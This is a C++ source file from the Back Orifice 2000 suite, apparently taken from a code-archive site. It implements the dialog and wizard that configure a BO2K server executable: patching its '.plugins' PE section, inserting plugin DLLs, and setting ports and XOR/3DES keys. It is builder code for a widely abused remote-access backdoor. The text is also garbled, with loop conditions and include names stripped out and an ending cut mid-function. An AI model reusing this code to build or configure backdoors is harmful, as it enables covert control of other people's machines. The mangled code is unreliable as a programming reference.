www.pudn.com > 2004032722451329676.rar > bo2kcfgDlg.cpp
/* Back Orifice 2000 - Remote Administration Suite
Copyright (C) 1999, Cult Of The Dead Cow
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
The author of this program may be contacted at dildog@l0pht.com. */
// bo2kcfgDlg.cpp : implementation file
//
#include"stdafx.h"
#include"bo2kcfg.h"
#include"bo2kcfgDlg.h"
#include
#include
#include
#include
#include
#include
#include"Wizard1.h"
#include"Wizard2.h"
#include"Wizard3.h"
#include"Wizard4.h"
#include"Wizard5.h"
#include"Wizard6.h"
#include"Wizard7.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define ROUND_TO(p,num) ((p%num)?(((p/num)+1)*num):p)
/////////////////////////////////////////////////////////////////////////////
// CBo2kcfgDlg dialog
CBo2kcfgDlg::CBo2kcfgDlg(CWnd* pParent /*=NULL*/)
: CDialog(CBo2kcfgDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CBo2kcfgDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hLargeIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_hSmallIcon = AfxGetApp()->LoadIcon(IDI_LITTLECOW);
m_hButtWizard = AfxGetApp()->LoadIcon(IDI_BUTTWIZARD);
m_hSvrMapping=NULL;
m_pSvrView=NULL;
m_arrPluginInfo.RemoveAll();
m_arrVarInfo.RemoveAll();
}
void CBo2kcfgDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CBo2kcfgDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CBo2kcfgDlg, CDialog)
//{{AFX_MSG_MAP(CBo2kcfgDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_OPENSERVER, OnOpenserver)
ON_BN_CLICKED(IDC_CLOSESERVER, OnCloseserver)
ON_BN_CLICKED(IDC_INSERT, OnInsert)
ON_BN_CLICKED(IDC_SAVESERVER, OnSaveserver)
ON_BN_CLICKED(IDC_REMOVE, OnRemove)
ON_NOTIFY(TVN_SELCHANGED, IDC_OPTIONVARIABLES, OnSelchangedOptionvariables)
ON_BN_CLICKED(IDC_BOOL_DISABLED, OnBoolDisabled)
ON_BN_CLICKED(IDC_BOOL_ENABLED, OnBoolEnabled)
ON_BN_CLICKED(IDC_SETVALUE, OnSetvalue)
ON_BN_CLICKED(IDC_EXIT, OnExit)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_EXTRACT, OnExtract)
ON_BN_CLICKED(IDC_WIZARD, OnWizard)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CBo2kcfgDlg message handlers
BOOL CBo2kcfgDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hLargeIcon, TRUE); // Set big icon
SetIcon(m_hSmallIcon, FALSE); // Set small icon
::SendMessage(GetDlgItem(IDC_WIZARD)->GetSafeHwnd(),BM_SETIMAGE,(WPARAM)IMAGE_ICON,(LPARAM)m_hButtWizard);
// Disable controls initially
EnableControls(FALSE);
m_ImgList.Create(IDB_IMGLIST,16,1,RGB(0,255,0));
CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
pLC->InsertColumn(0,"Plugin Name",LVCFMT_LEFT,100,-1);
pLC->InsertColumn(1,"Version",LVCFMT_LEFT,48,-1);
pLC->InsertColumn(2,"BO2K Ver",LVCFMT_LEFT,60,-1);
pLC->InsertColumn(3,"Description",LVCFMT_LEFT,200,-1);
pLC->SetImageList(&m_ImgList,LVSIL_SMALL);
pLC->SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_HEADERDRAGDROP);
CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
pTC->SetImageList(&m_ImgList,TVSIL_NORMAL);
// Do wizard on startup?
BOOL bStartWiz=AfxGetApp()->GetProfileInt("Startup","Wizard",TRUE);
if(bStartWiz) {
DoWizard();
}
return TRUE; // return TRUE unless you set the focus to a control
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CBo2kcfgDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hSmallIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CBo2kcfgDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hSmallIcon;
}
void CBo2kcfgDlg::OnOpenserver()
{
CFileDialog cfd(TRUE,".exe",NULL,OFN_FILEMUSTEXIST|OFN_HIDEREADONLY,"Executable Files (*.exe)|*.exe|All Files (*.*)|*.*||",this);
if(cfd.DoModal()==IDOK) {
if(IsValidServer(cfd.GetPathName())) {
if(!OpenServer(cfd.GetPathName())) {
AfxMessageBox("The BO2K server you have selected could not be loaded.");
}
} else {
AfxMessageBox("The file you selected is not a BO2K server.");
}
}
}
void CBo2kcfgDlg::EnableControls(BOOL bEnable)
{
// Deselect All List/Tree Controls
((CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES))->SelectItem(NULL);
((CListCtrl *)GetDlgItem(IDC_PLUGINS))->SetSelectionMark(-1);
// Enable/Disable Controls
GetDlgItem(IDC_SAVESERVER)->EnableWindow(bEnable);
GetDlgItem(IDC_CLOSESERVER)->EnableWindow(bEnable);
GetDlgItem(IDC_STATIC1)->EnableWindow(bEnable);
GetDlgItem(IDC_STATIC2)->EnableWindow(bEnable);
GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow(FALSE);
GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow(FALSE);
GetDlgItem(IDC_PLUGINS)->EnableWindow(bEnable);
GetDlgItem(IDC_OPTIONVARIABLES)->EnableWindow(bEnable);
GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow(FALSE);
GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow(FALSE);
GetDlgItem(IDC_SETVALUE)->EnableWindow(FALSE);
GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow(FALSE);
GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow(FALSE);
GetDlgItem(IDC_BOOL_GROUP)->EnableWindow(FALSE);
GetDlgItem(IDC_INSERT)->EnableWindow(bEnable);
GetDlgItem(IDC_REMOVE)->EnableWindow(bEnable);
GetDlgItem(IDC_EXTRACT)->EnableWindow(bEnable);
}
BOOL CBo2kcfgDlg::IsValidPlugin(LPCSTR svPath)
{
HMODULE hMod;
hMod=LoadDLL(svPath);
if(hMod==NULL) return FALSE;
if(GetDLLProcAddress(hMod,"InstallPlugin")==NULL) {
FreeDLL(hMod);
return FALSE;
}
FreeDLL(hMod);
return TRUE;
}
BOOL CBo2kcfgDlg::IsValidServer(LPCSTR svPath)
{
HMODULE hMod;
hMod=LoadLibrary(svPath);
if(hMod==NULL) return FALSE;
BYTE *pImage=(BYTE *)hMod;
// Get PE Header
PIMAGE_FILE_HEADER pfh;
pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pImage);
// Get Section Count
int nSectionCount;
nSectionCount=pfh->NumberOfSections;
// Get Section Header
PIMAGE_SECTION_HEADER psh;
psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pImage);
// Find the ".plugins" segment
int i;
for(i=0;iName))==0x756C702E) &&
(*(((DWORD *)(psh->Name))+1)==0x736E6967) ) {
break;
}
psh++;
}
if(i==nSectionCount) {
FreeModule(hMod);
return FALSE;
}
FreeModule(hMod);
return TRUE;
}
BOOL CBo2kcfgDlg::OpenServer(LPCSTR svPath)
{
// Close server if currently open
CloseServer();
// Open server file
HANDLE hSvrFile;
m_strSvrPath=svPath;
hSvrFile=CreateFile(svPath,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
if(hSvrFile==NULL) return FALSE;
m_dwRawFileSize=GetFileSize(hSvrFile,NULL);
// Memory map it
BYTE *pImage;
m_hSvrMapping=CreateFileMapping(hSvrFile,NULL,PAGE_READWRITE,0,0,NULL);
CloseHandle(hSvrFile);
if(m_hSvrMapping==NULL) return FALSE;
m_pSvrView=(BYTE *)MapViewOfFile(m_hSvrMapping,FILE_MAP_ALL_ACCESS,0,0,0);
pImage=(BYTE *)m_pSvrView;
if(pImage==NULL) {
CloseHandle(m_hSvrMapping);
m_hSvrMapping=NULL;
return FALSE;
}
// Get PE Header and Optional Header
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pImage);
poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pImage);
m_dwRawLength=poh->SizeOfImage;
// Get Section Count
int nSectionCount;
nSectionCount=pfh->NumberOfSections;
// Get Section Header
PIMAGE_SECTION_HEADER psh;
psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pImage);
// Find the ".plugins" segment
int i;
for(i=0;iName))==0x756C702E) &&
(*(((DWORD *)(psh->Name))+1)==0x736E6967) ) {
break;
}
psh++;
}
if(i==nSectionCount) {
CloseHandle(m_hSvrMapping);
m_hSvrMapping=NULL;
return FALSE;
}
// Get plugin header
PATTACHMENT_HEADER pah;
pah = (PATTACHMENT_HEADER)RVATOVA(pImage,psh->PointerToRawData);
// Get a copy of each plugin
int count;
count=pah->nNumPlugins;
if(count>0) {
BYTE *pPlugin;
DWORD dwSize,dwAtchLen;
pPlugin=(((BYTE *)pah)+sizeof(ATTACHMENT_HEADER));
dwAtchLen=sizeof(ATTACHMENT_HEADER);
for(i=0;iSetWindowText(svPath);
CString str;
str.Format("Server Info:\n Version %d.%d\n",poh->MajorImageVersion,poh->MinorImageVersion);
GetDlgItem(IDC_SERVERINFO)->SetWindowText(str);
UpdateVariableList();
return TRUE;
}
void CBo2kcfgDlg::CloseServer()
{
// Clear filename
m_strSvrPath.Empty();
// Close file mapping
if(m_pSvrView!=NULL) {
UnmapViewOfFile(m_pSvrView);
m_pSvrView=NULL;
}
if(m_hSvrMapping!=NULL) {
CloseHandle(m_hSvrMapping);
m_hSvrMapping=NULL;
}
// Get plugins out of memory
int i,count;
count=m_arrPluginInfo.GetSize();
for(i=0;iDeleteAllItems();
GetDlgItem(IDC_SERVERINFO)->SetWindowText("Server Info:");
GetDlgItem(IDC_FILENAME)->SetWindowText("");
EnableControls(FALSE);
UpdateVariableList();
}
void CBo2kcfgDlg::OnCloseserver()
{
CloseServer();
}
void CBo2kcfgDlg::OnInsert()
{
CFileDialog cfd(TRUE,".dll",NULL,OFN_PATHMUSTEXIST | OFN_HIDEREADONLY,"DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||",this);
cfd.m_ofn.lpstrTitle="Insert BO2K Plugin";
if(cfd.DoModal()==IDOK) {
if(IsValidPlugin(cfd.GetPathName())) {
BYTE *pPlugin;
DWORD dwSize;
CFile file;
if(file.Open(cfd.GetPathName(),CFile::typeBinary)) {
dwSize=file.GetLength();
pPlugin=(BYTE *)malloc(dwSize);
if(pPlugin==NULL) return;
file.Read(pPlugin,dwSize);
file.Close();
InsertPlugin(pPlugin,dwSize);
free(pPlugin);
}
} else {
AfxMessageBox("The specified file is not a valid BO2K plugin");
}
}
}
BOOL CBo2kcfgDlg::InsertPlugin(BYTE *pPlugin, DWORD dwSize)
{
// Copy allocate plugin image
PLUGIN_INFO pi;
pi.pPluginImage=(BYTE *) malloc(dwSize);
pi.dwPluginLen=dwSize;
if(pi.pPluginImage!=NULL) {
// Copy plugin image to save buffer
memcpy(pi.pPluginImage,pPlugin,pi.dwPluginLen);
pi.svFilename[0]=0;
pi.svDescription[0]=0;
pi.wVersionLo=0;
pi.wVersionHi=0;
pi.wBOVersionLo=0;
pi.wBOVersionHi=0;
// Load Plugin DLL
HINSTANCE hDLL;
hDLL=LoadDLLFromImage(pPlugin,NULL,0);
if(hDLL!=NULL) {
// Call plugin version information function
PLUGIN_VERSION pv;
TYPEOF_PluginVersion *PluginVersion=(TYPEOF_PluginVersion *)GetDLLProcAddress(hDLL,"PluginVersion");
if(PluginVersion!=NULL) {
if(PluginVersion(&pv)) {
// Copy plugin version information
lstrcpyn(pi.svFilename,pv.svFilename,MAX_PATH+1);
lstrcpyn(pi.svDescription,pv.svDescription,256);
pi.wVersionLo=pv.wVersionLo;
pi.wVersionHi=pv.wVersionHi;
pi.wBOVersionLo=pv.wBOVersionLo;
pi.wBOVersionHi=pv.wBOVersionHi;
}
}
FreeDLL(hDLL);
}
// Add to plugins array
int nPos=m_arrPluginInfo.Add(pi);
// Insert into control
CString str;
CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
pLC->InsertItem(nPos,pi.svFilename,0);
str.Format("%d.%d",pi.wVersionHi,pi.wVersionLo);
pLC->SetItem(nPos,1,LVIF_TEXT,str,0,0,0,0);
str.Format("%d.%d",pi.wBOVersionHi,pi.wBOVersionLo);
pLC->SetItem(nPos,2,LVIF_TEXT,str,0,0,0,0);
pLC->SetItem(nPos,3,LVIF_TEXT,pi.svDescription,0,0,0,0);
// Update variable list
UpdateVariableList();
return TRUE;
}
return FALSE;
}
void CBo2kcfgDlg::OnSaveserver()
{
if(!SaveServer()) {
AfxMessageBox("There was a problem saving the server file.");
} else {
AfxMessageBox("Server file saved",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
}
}
void CBo2kcfgDlg::OnOK()
{
}
void CBo2kcfgDlg::OnCancel()
{
}
void CBo2kcfgDlg::OnRemove()
{
// Get Selected List Item
CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
int nItem;
nItem=pLC->GetSelectionMark();
if(nItem==-1) return;
// Get plugin out of memory
PLUGIN_INFO pi;
pi=m_arrPluginInfo.GetAt(nItem);
free(pi.pPluginImage);
m_arrPluginInfo.RemoveAt(nItem);
// Remove List Item
pLC->DeleteItem(nItem);
// Update variable list
UpdateVariableList();
}
BOOL CBo2kcfgDlg::SaveServer()
{
// ------- Adjust length of file and append new plugins --------
int i,count;
DWORD dwAtchLen;
count=m_arrPluginInfo.GetSize();
// Close file mapping
UnmapViewOfFile(m_pSvrView);
if(m_hSvrMapping!=NULL) {
CloseHandle(m_hSvrMapping);
m_hSvrMapping=NULL;
}
// Open File and truncate length
CFile sf(m_strSvrPath,CFile::modeWrite|CFile::typeBinary);
sf.SetLength(m_dwRawFileSize);
if(count>0) {
// Append number of plugins
dwAtchLen=sizeof(ATTACHMENT_HEADER);
ATTACHMENT_HEADER ah;
ah.nNumPlugins=count;
sf.Write(&ah,sizeof(ATTACHMENT_HEADER));
// Append plugins
for(i=0;iNumberOfSections;
// Get Section Header
PIMAGE_SECTION_HEADER psh;
psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pImage);
// Find the ".plugins" segment
for(i=0;iName))==0x756C702E) &&
(*(((DWORD *)(psh->Name))+1)==0x736E6967) ) {
break;
}
psh++;
}
if(i==nSectionCount) {
CloseHandle(m_hSvrMapping);
m_hSvrMapping=NULL;
return FALSE;
}
// Modify '.plugins' section to include proper length
psh->SizeOfRawData=dwAtchLen;
psh->Misc.VirtualSize=dwAtchLen;
// Change length of file appropriately.
poh->SizeOfImage=m_dwRawLength+dwAtchLen;
FlushViewOfFile(m_pSvrView,0);
return TRUE;
}
void CBo2kcfgDlg::UpdateVariableList()
{
CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
pTC->DeleteAllItems();
m_arrVarInfo.RemoveAll();
// Add server config options
if(m_pSvrView!=NULL) {
AddVariables((char *)m_pSvrView,m_dwRawFileSize,-1);
}
// Add options for all plugins
int i,count;
count=m_arrPluginInfo.GetSize();
for(i=0;iGetRootItem();
while(hti!=NULL) {
if(pTC->GetItemText(hti).Compare(vi.svCategory)==0) break;
hti=pTC->GetNextSiblingItem(hti);
}
if(hti==NULL) {
if(vi.nPlugin==-1) {
hti=pTC->InsertItem(vi.svCategory,4,5);
} else {
hti=pTC->InsertItem(vi.svCategory,6,7);
}
pTC->SetItemData(hti,0xFFFFFFFF);
}
int nImg;
if(vi.VarType=='B') nImg=3;
else if(vi.VarType=='N') nImg=2;
else if(vi.VarType=='S') nImg=1;
hti=pTC->InsertItem(vi.svVarName,nImg,nImg,hti);
pTC->SetItemData(hti,i);
}
}
void CBo2kcfgDlg::AddVariables(char *pBuffer, DWORD dwLen, int nPlugin)
{
DWORD pos;
for(pos=0;pos",9)==0) {
pos+=9;
// Get category name
VARIABLE_INFO vi;
lstrcpyn(vi.svCategory,pBuffer+pos,256);
pos+=(lstrlen(pBuffer+pos)+1);
// Go through all variables
while(*(pBuffer+pos)!='\0') {
DWORD dwValPos;
vi.VarType=*(pBuffer+pos);
if(vi.VarType=='B') {
pos+=2;
// Get Name and Value
DWORD dwStart=pos;
while(*(pBuffer+pos)!='=') pos++;
lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));
pos++;
dwValPos=pos;
lstrcpyn(vi.svVarValue,pBuffer+pos,256);
vi.nStrLen=1;
pos+=2;
} else if(vi.VarType=='N') {
// Get Number Range
pos+=2;
vi.nNumLo=atoi(pBuffer+pos);
while(*(pBuffer+pos)!=',') pos++;
pos++;
vi.nStrLen=pos;
vi.nNumHi=atoi(pBuffer+pos);
while(*(pBuffer+pos)!=']') pos++;
vi.nStrLen=pos-vi.nStrLen;
pos+=2;
// Get Name and Value
DWORD dwStart=pos;
while(*(pBuffer+pos)!='=') pos++;
lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));
pos++;
dwValPos=pos;
lstrcpyn(vi.svVarValue,pBuffer+pos,256);
pos+=(vi.nStrLen+1);
} else if(vi.VarType=='S') {
// Get Number Range
pos+=2;
vi.nStrLen=atoi(pBuffer+pos);
while(*(pBuffer+pos)!=']') pos++;
pos+=2;
// Get Name and Value
DWORD dwStart=pos;
while(*(pBuffer+pos)!='=') pos++;
lstrcpyn(vi.svVarName,pBuffer+dwStart,min(pos-dwStart+1,256));
pos++;
lstrcpyn(vi.svVarValue,pBuffer+pos,256);
dwValPos=pos;
pos+=(vi.nStrLen+1);
} else {
AfxMessageBox("Error parsing variables. Variable list could not be determined.");
return;
}
// Add to variable info array
vi.nPlugin=nPlugin;
vi.dwPos=dwValPos;
m_arrVarInfo.Add(vi);
}
}
}
}
void CBo2kcfgDlg::OnSelchangedOptionvariables(NMHDR* pNMHDR, LRESULT* pResult)
{
NMTREEVIEW *pNMTreeView = (NMTREEVIEW*)pNMHDR;
// Hide all option controls
GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow(FALSE);
GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow(FALSE);
GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow(FALSE);
GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow(FALSE);
GetDlgItem(IDC_SETVALUE)->EnableWindow(FALSE);
GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow(FALSE);
GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow(FALSE);
GetDlgItem(IDC_BOOL_GROUP)->EnableWindow(FALSE);
if(pNMTreeView->itemNew.hItem!=NULL) {
int nVar=pNMTreeView->itemNew.lParam;
if(nVar!=0xFFFFFFFF) {
if(m_arrVarInfo[nVar].VarType=='B') {
GetDlgItem(IDC_BOOL_GROUP)->EnableWindow();
GetDlgItem(IDC_BOOL_ENABLED)->EnableWindow();
GetDlgItem(IDC_BOOL_DISABLED)->EnableWindow();
if(atoi(m_arrVarInfo[nVar].svVarValue)) {
((CButton *)GetDlgItem(IDC_BOOL_ENABLED))->SetCheck(1);
((CButton *)GetDlgItem(IDC_BOOL_DISABLED))->SetCheck(0);
} else {
((CButton *)GetDlgItem(IDC_BOOL_DISABLED))->SetCheck(1);
((CButton *)GetDlgItem(IDC_BOOL_ENABLED))->SetCheck(0);
}
} else if(m_arrVarInfo[nVar].VarType=='N') {
GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow();
GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow();
GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow();
GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow();
GetDlgItem(IDC_SETVALUE)->EnableWindow();
GetDlgItem(IDC_STR_CURRENTVALUE)->SetWindowText(m_arrVarInfo[nVar].svVarValue);
GetDlgItem(IDC_STR_NEWVALUE)->SetWindowText("");
((CEdit *)GetDlgItem(IDC_STR_CURRENTVALUE))->SetLimitText(m_arrVarInfo[nVar].nStrLen);
((CEdit *)GetDlgItem(IDC_STR_NEWVALUE))->SetLimitText(m_arrVarInfo[nVar].nStrLen);
GetDlgItem(IDC_STR_CURRENTVALUE)->ModifyStyle(0,ES_NUMBER);
GetDlgItem(IDC_STR_NEWVALUE)->ModifyStyle(0,ES_NUMBER);
} else if(m_arrVarInfo[nVar].VarType=='S') {
GetDlgItem(IDC_STATIC_NEWVAL)->EnableWindow();
GetDlgItem(IDC_STATIC_CURVAL)->EnableWindow();
GetDlgItem(IDC_STR_NEWVALUE)->EnableWindow();
GetDlgItem(IDC_STR_CURRENTVALUE)->EnableWindow();
GetDlgItem(IDC_SETVALUE)->EnableWindow();
GetDlgItem(IDC_STR_CURRENTVALUE)->SetWindowText(m_arrVarInfo[nVar].svVarValue);
GetDlgItem(IDC_STR_NEWVALUE)->SetWindowText("");
((CEdit *)GetDlgItem(IDC_STR_CURRENTVALUE))->SetLimitText(m_arrVarInfo[nVar].nStrLen);
((CEdit *)GetDlgItem(IDC_STR_NEWVALUE))->SetLimitText(m_arrVarInfo[nVar].nStrLen);
GetDlgItem(IDC_STR_CURRENTVALUE)->ModifyStyle(ES_NUMBER,0);
GetDlgItem(IDC_STR_NEWVALUE)->ModifyStyle(ES_NUMBER,0);
}
}
}
*pResult = 0;
}
void CBo2kcfgDlg::OnBoolDisabled()
{
CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
HTREEITEM hti=pTC->GetSelectedItem();
int nVar=pTC->GetItemData(hti);
if(nVar!=0xFFFFFFFF) {
m_arrVarInfo[nVar].svVarValue[0]='0';
// Set into image
VARIABLE_INFO vi=m_arrVarInfo[nVar];
char *ptr;
DWORD pos;
if(vi.nPlugin>=0) {
PLUGIN_INFO pi=m_arrPluginInfo[vi.nPlugin];
ptr=(char *)pi.pPluginImage;
} else {
ptr=(char *)m_pSvrView;
}
pos=vi.dwPos;
memset(ptr+pos,0,vi.nStrLen+1);
memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));
}
}
void CBo2kcfgDlg::OnBoolEnabled()
{
CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
HTREEITEM hti=pTC->GetSelectedItem();
int nVar=pTC->GetItemData(hti);
if(nVar!=0xFFFFFFFF) {
m_arrVarInfo[nVar].svVarValue[0]='1';
// Set into image
VARIABLE_INFO vi=m_arrVarInfo[nVar];
char *ptr;
DWORD pos;
if(vi.nPlugin>=0) {
PLUGIN_INFO pi=m_arrPluginInfo[vi.nPlugin];
ptr=(char *)pi.pPluginImage;
} else {
ptr=(char *)m_pSvrView;
}
pos=vi.dwPos;
memset(ptr+pos,0,vi.nStrLen+1);
memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));
}
}
void CBo2kcfgDlg::OnSetvalue()
{
CTreeCtrl *pTC=(CTreeCtrl *)GetDlgItem(IDC_OPTIONVARIABLES);
HTREEITEM hti=pTC->GetSelectedItem();
int nVar=pTC->GetItemData(hti);
if(nVar!=0xFFFFFFFF) {
CString str;
GetDlgItem(IDC_STR_NEWVALUE)->GetWindowText(str);
if(m_arrVarInfo[nVar].VarType=='N') {
int nValue=atoi(str);
if((nValue>m_arrVarInfo[nVar].nNumHi) ||
(nValueSetWindowText(str);
// Set into image
VARIABLE_INFO vi=m_arrVarInfo[nVar];
char *ptr;
DWORD pos;
if(vi.nPlugin>=0) {
PLUGIN_INFO pi=m_arrPluginInfo[vi.nPlugin];
ptr=(char *)pi.pPluginImage;
} else {
ptr=(char *)m_pSvrView;
}
pos=vi.dwPos;
memset(ptr+pos,0,vi.nStrLen+1);
memcpy(ptr+pos,vi.svVarValue,lstrlen(vi.svVarValue));
}
}
void CBo2kcfgDlg::OnExit()
{
CloseServer();
EndDialog(0);
}
void CBo2kcfgDlg::OnClose()
{
OnExit();
}
void CBo2kcfgDlg::OnExtract()
{
// Get Selected List Item
CListCtrl *pLC=((CListCtrl *)GetDlgItem(IDC_PLUGINS));
int nItem;
nItem=pLC->GetSelectionMark();
if(nItem==-1) return;
// Get plugin
PLUGIN_INFO pi;
pi=m_arrPluginInfo.GetAt(nItem);
// Write to disk
CFileDialog cfd(FALSE,".dll",pi.svFilename,OFN_OVERWRITEPROMPT|OFN_PATHMUSTEXIST,"DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||",this);
if(cfd.DoModal()) {
CFile file(cfd.GetPathName(),CFile::modeCreate|CFile::modeWrite|CFile::typeBinary);
file.Write(pi.pPluginImage,pi.dwPluginLen);
file.Close();
AfxMessageBox("Plugin extracted.",MB_OK|MB_ICONINFORMATION|MB_TOPMOST|MB_SETFOREGROUND);
}
}
void CBo2kcfgDlg::OnWizard()
{
CloseServer();
DoWizard();
}
void CBo2kcfgDlg::DoWizard()
{
CWizard1 wiz1;
CWizard2 wiz2;
CWizard3 wiz3;
CWizard4 wiz4;
CWizard5 wiz5;
CWizard6 wiz6;
CWizard7 wiz7;
wiz1.m_bShowWizard=AfxGetApp()->GetProfileInt("Startup","Wizard",TRUE);
wiz2.m_strServerFile="bo2k.exe";
wiz3.m_nNetType=0;
wiz4.m_nPort=0;
wiz5.m_nEncType=1;
wiz6.m_nLetterCount=0;
wiz6.m_strPassword="";
int nState=1,nRet;
while(nState>0 && nState<8) {
switch(nState) {
case 1:
nRet=wiz1.DoModal();
break;
case 2:
CloseServer();
nRet=wiz2.DoModal();
if(nRet==IDOK) {
if(IsValidServer(wiz2.m_strServerFile)) {
if(!OpenServer(wiz2.m_strServerFile)) {
AfxMessageBox("The BO2K server you have selected could not be loaded.");
nRet=0;
}
} else {
AfxMessageBox("The file you selected is not a BO2K server.");
nRet=0;
}
}
break;
case 3:
nRet=wiz3.DoModal();
break;
case 4:
nRet=wiz4.DoModal();
break;
case 5:
{
wiz5.m_bDESPresent=FALSE;
int i,count;
count=m_arrPluginInfo.GetSize();
for(i=0;im_pszProfileName;
AfxGetApp()->m_pszProfileName="BO2K Client";
count=m_arrVarInfo.GetSize();
for(i=0;iWriteProfileString("TCPIO","Default Port",vi.svVarValue);
}
} else if(lstrcmpi(vi.svCategory,"UDPIO")==0 && lstrcmpi(vi.svVarName,"Default Port")==0) {
if(wiz3.m_nNetType==1) {
wsprintf(vi.svVarValue,"%u",wiz4.m_nPort);
AfxGetApp()->WriteProfileString("UDPIO","Default Port",vi.svVarValue);
}
} else if(lstrcmpi(vi.svCategory,"Startup")==0 && lstrcmpi(vi.svVarName,"Init Cmd Encryption")==0) {
lstrcpyn(vi.svVarValue,(wiz5.m_nEncType==0)?"XOR":"3DES",vi.nStrLen+1);
} else if(lstrcmpi(vi.svCategory,"3DES")==0 && lstrcmpi(vi.svVarName,"3DES Key String")==0) {
if(wiz5.m_nEncType==1) {
lstrcpyn(vi.svVarValue,wiz6.m_strPassword,vi.nStrLen+1);
AfxGetApp()->WriteProfileString("3DES","3DES Key String",vi.svVarValue);
}
} else if(lstrcmpi(vi.svCategory,"XOR")==0 && lstrcmpi(vi.svVarName,"XOR Key")==0) {
if(wiz5.m_nEncType==0) {
lstrcpyn(vi.svVarValue,wiz6.m_strPassword,vi.nStrLen+1);
AfxGetApp()->WriteProfileString("XOR","XOR Key",vi.svVarValue);
}
} else if(lstrcmpi(vi.svCategory,"File Transfer")==0 && lstrcmpi(vi.svVarName,"File Xfer Net Type")==0) {
lstrcpyn(vi.svVarValue,(wiz3.m_nNetType==0)?"TCPIO":"UDPIO",vi.nStrLen+1);
} else if(lstrcmpi(vi.svCategory,"File Transfer")==0 && lstrcmpi(vi.svVarName,"File Xfer Encryption")==0) {
lstrcpyn(vi.svVarValue,(wiz5.m_nEncType==0)?"XOR":"3DES",vi.nStrLen+1);
} else {
bWrite=FALSE;
}
if(bWrite) {
if(vi.nPlugin>=0) {
PLUGIN_INFO pi=m_arrPluginInfo[vi.nPlugin];
ptr=(char *)pi.pPluginImage;
} else {
ptr=(char *)m_pSvrView;
}
pos=vi.dwPos;
memset(ptr+pos,0,vi.nStrLen+1);
